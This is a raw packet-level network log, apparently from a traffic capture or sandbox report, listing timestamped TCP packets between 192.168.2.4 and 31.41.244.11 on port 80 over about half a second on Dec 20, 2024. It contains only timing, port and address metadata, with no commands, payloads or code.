Dec 20, 2024 07:12:25.929667950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.929717064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.931915998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.931968927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.932038069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.932089090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.934328079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.934379101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.934381962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.934429884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.936708927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.936759949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.936790943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.936839104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.939039946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.939095974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.939158916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.939244986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.941443920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.941504002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.941576004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.941625118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.943799019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.943856001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.943901062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.943964958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.946203947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.946254015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.946291924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.946346998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.948555946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.948610067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.948689938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.948740005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.950351000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.950402021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.950443029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.950490952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.952130079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.952177048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.952466965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.952517986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.953886032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.953941107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.954003096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.954055071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.955682993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.955733061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.955858946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.955907106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.957541943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.957591057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.957591057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.957649946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.959266901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.959317923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.959393024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.959445000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.961038113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.961086988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.961208105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.961258888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.962832928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.962960958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.963016987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.964621067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.964716911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.964771986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.966408014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.966461897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.966511965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.966561079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.968195915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.968245983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.968283892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.968338013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.969948053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.970002890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.970069885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.970118046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.971745014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.971779108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.971797943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.971828938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.973527908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.973578930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.973619938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.973668098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.975292921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.975341082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.975435019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.975481033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.977088928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.977138042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.977195978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.977241993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.978847027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.978967905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.979027033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.086760044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.086817026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.086828947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.086909056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.087563038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.087614059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.087862968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.087918043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.087994099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.088068008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.089253902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.089303970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.089498997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.089550972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.090770006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.090816975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.090895891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.090944052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.092308044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.092358112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.092366934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.092416048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.093753099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.093802929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.093867064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.093913078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.095267057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.095319986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.095390081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.095439911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.096673965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.096726894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.096746922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.096776009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.098042011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.098099947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.098161936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.098207951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.099471092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.099523067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.099582911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.099632025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.100804090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.100858927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.100938082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.100980997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.102190018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.102236986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.102317095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.102368116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.103542089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.103605032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.103682041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.103735924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.104967117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.105021000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.105027914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.105077982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.106273890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.106321096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.106364965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.106411934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.107600927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.107646942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.107728958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.107775927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.108998060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.109049082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.109101057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.109149933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.110502005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.110547066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.110676050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.110726118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.111690044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.111745119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.111808062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.111856937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.113037109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.113085985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.113210917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.113259077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.114409924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.114459038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.114516973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.114563942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.115777969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.115832090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.115839958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.115878105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.117110014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.117156982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.117237091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.117284060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.118458986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.118506908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.118567944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.118614912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.119945049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.119997978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.120064020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.120115042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.121161938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.121213913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.121293068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.121341944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.122518063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.122627974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.122689962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.123882055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.123974085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.124022961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.124078989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.125227928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.125279903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.125340939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.125392914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.126626015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.126678944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.126713991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.126763105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.127953053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.128002882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.128063917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.128110886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.129321098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.129380941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.129457951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.129512072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.130656004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.130705118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.130774021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.130816936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.132035971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.132091045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.132138014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.132184982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.133369923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.133419037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.133481979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.133524895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.134733915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.134783983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.134845972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.134892941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.136065960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.136116982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.136272907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.136322021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.137428999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.137476921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.137531996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.137579918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.138760090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.138813019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.138875008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.138921022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.140110016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.140161991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.140224934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.140275955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.141454935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.141505003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.141582966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.141632080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.142832994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.142885923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.142949104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.142999887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.144236088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.144289970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.144296885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.144328117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.145562887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.145613909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.145677090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.145728111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.146949053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.146985054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.146996975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.147028923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.148273945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.148328066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.148385048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.148443937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.149615049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.149667978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.149795055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.149844885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.150976896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.151029110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.151086092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.151135921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.152312040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.152364016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.152427912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.152479887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.153665066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.153716087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.153783083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.153834105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.155021906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.155085087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.155164003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.155211926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.156342983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.156398058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.279081106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.279247046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.279264927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.279335022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.279622078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.279678106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.279813051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.279863119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.279939890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.279990911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.281024933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.281078100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.281196117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.281241894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.282224894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.282277107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.282341003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.282390118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.283415079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.283468962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.283534050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.283577919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.284631014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.284681082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.284758091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.284806967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.285801888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.285856009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.285911083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.285960913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.286999941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.287050962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.287122011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.287178040 CET	49801	80	192.168.2.4	31.41.244.11
